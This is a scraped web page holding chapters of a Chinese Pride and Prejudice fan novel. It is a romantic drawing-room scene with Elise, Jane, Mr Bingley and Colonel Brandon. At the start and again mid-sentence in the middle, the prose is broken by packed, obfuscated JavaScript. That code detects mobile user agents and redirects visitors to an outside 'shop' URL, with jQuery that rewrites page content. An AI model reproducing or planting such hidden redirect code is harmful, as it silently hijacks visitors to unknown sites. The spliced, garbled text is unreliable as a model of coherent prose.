RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12458976|129476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跄着从门口摔出来的画面。 短短的几秒钟，宾利先生大脑还处于一片空白的状态，身子却先一步动了起来。在班内特小姐跌倒前，他及时充当墙壁，挡在了她的身后。 “班内特小姐，你还好吗？有摔倒哪里吗？身上有没有不舒服的地方？”宾利先生紧张地询问起来。 “我没事，真是太谢谢你了，宾利先生。” 简借着他的手臂站稳，又忙看向视线受阻的艾莉丝。 好在她们倾倒前松开了手，失去方向感的艾莉丝在前扑的时候扶住了门框。她的帕子扯了一半，还剩一边却是和头发缠在了一起。 布兰登上校满脸担忧，他看着正与头发缠斗的艾莉丝，想要上前帮她把头发和针分开来，然而又在半途想起男女有别，伸出的手像极了他那不敢直说的感情，又无声地收回去。 “艾莉丝小姐，你有撞到门框吗？头感到难受晕眩吗？” “我不要紧，倒是简，她摔着了吗？”艾莉丝放弃继续和头上的别针纠缠，急切地问道。 “班内特小姐没什么大碍。” “那就好。”艾莉丝的一颗心落了地，她长舒一口气。 被吓到的潘妮泪眼汪汪，在听到简和艾莉丝没事后，泪珠子立刻掉了下来：“艾莉丝，对不起。” “潘妮，怎么了？为什么要说对不起？” “我害你和简摔倒了。”潘妮抽噎着回道。 艾莉丝蹲下身子，她鬓间的头发凌乱，右边更是垂落一块手帕，看着就有些狼狈：“摔倒是个意外而已，和潘妮你没什么关系。” “可要不是我明知道艾莉丝你怕痒，还故意碰你的腰，你们也不会摔。” “但我们玩游戏前也没规定不可以往人的痒痒处碰，所以别觉得是自己的错啊。顶多我们下次玩之前提前说好，就不会再出事了。” 简也蹲下，她拿出自己的帕子，给潘妮拭去脸颊上的泪珠：“我和艾莉丝什么事都没有，潘妮不哭了啊。” “是啊，潘妮，要怪的话得怪我才对。艾莉丝是为了不撞到我才会没站稳的。”安德鲁伸出小手，拍了拍潘妮的后背，“和你没什么关系。” “我也是，我作为哥哥，应该时刻注意到突发事故的。”乔纳森跟着自责起来。 “哎呀，你们一个个的。”艾莉丝站起来，看着三个孩子仰起头，她叉腰，“都不许说是自己的错。玩游戏会有意外发生是很正常的事情，我们只要下次注意就好啦。不然不是很对不起前几分钟玩得快乐的我们吗？” 她拉着简原地转了一圈：“看，我们俩可是好好的呢。” 好不容易哄得三个小孩不再内疚，艾莉丝又郑重的向宾利先生说了声谢谢：“多亏了你，不然简指不定会摔到哪。” “班内特小姐没事就好。”宾利先生诚恳又憨厚地回答，“艾莉丝小姐，你没必要这么客气。” “好了，艾莉丝，你别光顾着我。”简上上下下打量过艾莉丝，确保她只有头发丝乱了些，“我们先让宾利先生和布兰登上校进屋坐下，然后我帮你把帕子取下来。” 刚一直插不进嘴的加德纳太太赶忙道：“你们先去楼上收拾一下。”她扭头对上两位男士，“请随我进来先坐会吧，刚才真是幸亏有你们在。” 42.第四十二章【入v公告】 “我的形象……” 坐在梳妆镜前，艾莉丝发出一声哀嚎。 镜中的少女生了一副娇美俏丽的容貌，奈何打着卷儿编起的发髻边上，不伦不类地挂着块素帕。 “本是想着能让它牢固些，没想到会有意外发生。”简站到她身后，仔细辨别是哪一处的发丝缠绕在一起，她小心地挑出那几缕头发，耐心地梳开，以便摘下别针。 “真是太丢人了……”但已经被瞧了去，再郁闷也没法教上校他们忘记，艾莉丝只得自我开解，“总比人磕到碰到了强。” “上校和宾利先生应该不会往心里去。”相处了这些时日，简知他们二位不似柯林斯先生，会对女子的仪容举止指手画脚，“而且，他们也不是那些喜欢到处乱说的人。” “是了是了。如若今日来的是宾利小姐和赫斯特夫人，她们这会恐怕已经嘲讽上了。” “毕竟她们接受过标准的淑女课程，并将其奉为圭臬。”认清这段友谊，简不再特意替她们解释，只是实话实说，“看不惯也挺正常。” “我看达西小姐就不似她们这般眼高于低，亲切的很。”其实，宾利姐妹这样的才是多数，但她们出言嘲讽班内特一家在先，再是井水不犯河水，艾莉丝也没法当作无事发生。 “达西小姐和她哥哥的性子不大相像。” “宾利先生和他们姐妹不也是？”艾莉丝说，“我看他刚才紧张极了，生怕慢上一步。” 她抬眼。 镜子里，简动作一滞，神色复杂。她的设想中，从次往后的见面，两人都是客气又不失礼貌的应答，可在宾利先生跑过来时，她没法否认自己看到的慌张和在意。 简回想起内瑟菲尔德庄园里的那支舞，宾利先生的眼神同样灼热又炽烈。她心一颤：“我知道，但我不敢轻易得出结论。有时候，氛围也能误导人们的情绪……我想，在有确切的把握前，我们还是不要把话说得太满，以至于落得更为剧烈的悲伤的境地里为好。” 爱情里从不缺少患得患失。艾莉丝尚未经历，她能做的，只有默默站在简的立场上：“不管简打算怎么做，我都会支持你的。” 简笑了笑，她取下那方有损艾莉丝形象的帕子。先前留意到的不对劲此刻看得分明：“艾莉丝，这是你的吗？” 不明白简为什么这么问，艾莉丝接过手帕：“怎么会不是我……” 话未说完，艾莉丝注意到帕子左下角并没有绣上她的标志性花样，一个被遗忘的细节浮出水面——布兰登上校离开的那日，她被上校透露出的威廉斯小姐的存在所惊，一时忘了帕子这回事。 顶着镜子里简疑惑的眼神，艾莉丝无由来的心虚。不知不觉间，她和姐姐们也有了无法直说的秘密。 艾莉丝攒起帕子：“大概是误拿了，我到时候还回去。” 简是个不爱勉强人的小姐，她看出艾莉丝的隐瞒，但她相信艾莉丝不会做出什么出格的事，于是没再问这帕子要还哪里去。她三两下替艾莉丝重新梳过一个简单的发型：“好了，我们下去吧。” 楼下，加德纳夫人好生招待两位客人。 她是第一回见宾利先生。打照面起，他毫不犹豫冲上前的行动就令加德纳太太心生好感，别提他本人确实和善可亲，她以为其中或许是有些误会，才教他成了班内特口中玩弄她们所有人感情的可恶的人。 “没有事先告知就登门拜访，还请夫人你见谅。”宾利先生道。 加德纳夫人和蔼道：“这有什么见谅不见谅的。在这沉闷的季节里，我们巴不得希望多些客人来。而且，要不是你，简肯定会摔上一跤，我还得倒过来谢谢你们才是。” 她也不厚此薄彼：“上校，自从你上回走后，亚瑟和孩子们就盼着你什么时候再过来。他们都喜欢跟你聊天，尤其是亚瑟，一连赞你在生意上帮了他的忙。” 两位先生禁不住，连连道她言重了。他们又都在心里记挂着楼上的小姐，布兰登上校尚且能隐忍，年轻的宾利先生则偶尔分出心神朝门口瞥上一眼。 他的举动被加德纳夫人尽收眼底，她和宾利先生攀谈起来，想为简多探听一些他的近况——昨日里宾利先生和简相遇的事，加德纳夫人并不知情。 宾利先生照实回答，他道：“现在想来，我该和莫里斯先生知会一声，他以为我不打算再租下去，前两日还特意来信询问。” “莫里斯先生是位负责任的人，他作为房屋的主人，铁定要留意租客的情况。而且，像宾利先生你这样的好租客，打着灯笼都难找。”加德纳太太说，“所以，宾利先生你还准备继续租吗？我听闻你有意在南部买地，彻底定居下来。” “目前还说不准。我的朋友都说我在一些事情上的决定做得太快，教他们猝不及防。” “年轻人，做起事来风风火火，再正常不过。像布兰登上校这般沉稳的，反而是少数。”加德纳太太道，“都说朋友之间性格互补，我看一点不错。” “的确如此！布兰登和达西做事牢靠，有时能在我冲动时进行劝阻。” 布兰登上校道：“在做出重大决定前，再三权衡是很有必要的一件事。”他看了眼曾想要在舞会结束后向班内特小姐求婚的好友，“但如果一味的犹豫，也会错过一些机会。” 一旁的加德纳太太听闻此话，不由揣摩起布兰登上校是否和她抱有相同的想法。她正要开口试探，两位男士站起身，朝走进来的简和艾莉丝行礼。 简单问过好，她们各自坐回到原来的位置上。 艾莉丝瞥了眼圆桌，随手放上去的绣品已然不见，大概是被加德纳舅妈放好了。她小小地松了口气，好歹没教上校他们看见。 “刚才真是太感谢你了，宾利先生。” 简再次致谢，她的态度不似昨日客套，宾利先生像是得到鼓舞，嘴角上扬：“班内特小姐，你没事就好。” 如果情绪能够具现化，那么宾利先生这会就像是一只兴奋的金毛大狗，快乐地摇晃着尾巴。 宾利先生对简的态度并不比在梅里顿有半分的消减，外加弄清了他在伦敦久留的原因，艾莉丝心中的埋怨跟着去了几分。她抿住唇，试图克制住被幻想出来的画面逗起的笑意。 布兰登上校不知她为何眉眼含笑，但见差点摔倒的事没给她留下慌乱，心下一松，皱起的眉宇变得平缓。他这几日虽没见到艾莉丝，但通过伊莱莎，他多少了解一些艾莉丝的近况，更知道她与伊莱莎关系日渐亲密，形如好友。 而在他们聊天的工夫，加德纳夫人寻了个看孩子的借口离开。 “艾莉丝小姐，听说你最近在为其他小姐绘制肖像画？”布兰登上校问。 “是的，不过我前两日刚结束完那位小姐的委托。”艾莉丝回道。她一见布兰登上校，就想起一连串的事，刚弯起的嘴角有些下落，心里可谓是七上八下，一时都不知从何理清。 布兰登上校放在膝盖上的手捏紧又松开，他注视着面露难色的艾莉丝：“抱歉，是我问了不该问的吗？” “不不不，上校，请你千万不要这么想，这并不是什么不能说的事情。”艾莉丝连连否认，“和你并无关，哦不，是有那么些关系，但绝不是上校你的问题，是……是我不对。” “恕我僭越，请问艾莉丝小姐你方便告知我，你的烦恼是来自于什么事吗？” “……我似乎总是莽撞又大意。” “是因为刚刚的意外吗？我想这并不能称之为莽撞。” “可我和上校你认识以来，已经在上校你面前摔了三回了。”艾莉丝更加气馁，她都还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12480126|129476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提帕子的事呢，“这真是太让人汗颜了。” “请原谅我持有与你相反的意见。”布兰登上校道，“我只看出艾莉丝小姐你爱护亲友、不因意外而陷入懊恼的直率性情。” 这才真令艾莉丝意外了，她一脸讶然：“上校，你对我的评价实在太好了。” “我只是根据我所看到的，说出了我的真实想法。”布兰登上校又补充道，“何况，年轻小姐性子活泼些，是很正常的事，我并不觉得这该被称之为失礼。” 就算布兰登上校对女子的态度一向宽容，但……这有些宽容过头了些？艾莉丝茫茫然地看向他，奈何那双茶褐色的眼里是毫无半句虚言的真实。 “……上校，你，”艾莉丝心一颤，移开视线的同时转移了话题，“你最近在忙些什么吗？也需要和宾利先生一样，处理生意上的事务吗？” “我需要处理的只有一些商务回信，所以大部分时间都很空闲，如果不在家，我会和达西一起打会桌球，或是去另一位老朋友那里聊会天。” “达西先生的宅邸好像也在圣詹姆斯街道？”艾莉丝记得达西小姐当时给出的地址，和威廉斯小姐信上的地址相距不远。 布兰登上校颔首：“不过那只是达西在城里的住址之一，他往年都在另一处宅邸过冬。” “听卡洛琳她们说，是因为达西小姐的请求。”一旁的宾利先生抽空搭话道，“达西今年才选择住到圣詹姆斯街道。要我说，的确是圣詹姆斯街道那一处要来得热闹些，小姐们出行购物游玩也更方便。不过卡洛琳她们觉得出门有马车，远不远的都不是问题。” 艾莉丝问：“这次宾利先生你来，宾利小姐她们不知道吗？”简也道：“距离她们上回过来，一转眼就过去了半个多月。” “她们目前留在达西小姐那作客。我要接待一些生意上的客人，因此没和她们一起。” “宾利小姐她们和达西小姐很亲近，这点根据她们的来信，我也能看的出来。”简道，“上次有幸和达西小姐相见，她确实是个讨人喜欢的小姐。” “是的，她还主动邀请我和简前去拜访。” “达西小姐也说你们二位温柔可亲。”宾利先生对着简道，“她夸班内特小姐你的钢琴弹得很好，充满技巧又情感充沛。” 简谦虚：“我许久不练，和达西小姐相比逊色许多。” 宾利先生不知简冷下的态度是出于什么原因，可这会有了消融的迹象，他不愿意眼睁睁地看着自己错过——有过对比后，宾利先生总算发觉，在梅里顿的那段时光里，简对他并非无意。 他暗地里给了好友一个鼓励的眼神，然后自己继续和简聊了起来。 “所以……艾莉丝小姐，你为其他小姐绘制的肖像画已经结束了？对方是不是觉得很满意？” “承蒙安娜小姐过去的指导，戴维斯小姐对我的画作还算满意。” “我想也是。达西小姐偶尔会提起艾莉丝小姐你为她画的小像，她就觉得再好看不过。” “上校，我真要怀疑你今日就是专程过来夸我的。”艾莉丝道，“我需要精进的地方还很多。” “但在我们外行人眼里，艾莉丝小姐你画得已经足够好了。”布兰登上校说，“想来在安娜小姐眼里，正是认为艾莉丝小姐你是可塑之才，才会对你精益求精。我相信艾莉丝小姐你也不会辜负她的期望。” 他夸赞人的言辞虽与华丽无关，却格外真诚质朴，艾莉丝认为自己就算脸皮再厚实，也要被上校说得脸红。 事实上，艾莉丝白皙的脸颊上已有淡淡的薄红，她眸似点漆：“我们可不能再讨论这些了，得找点上校你没法夸我的事情才对。” “上回我们聊起巴斯，”艾莉丝问，“上校，你今年会抽空多去几次吗？”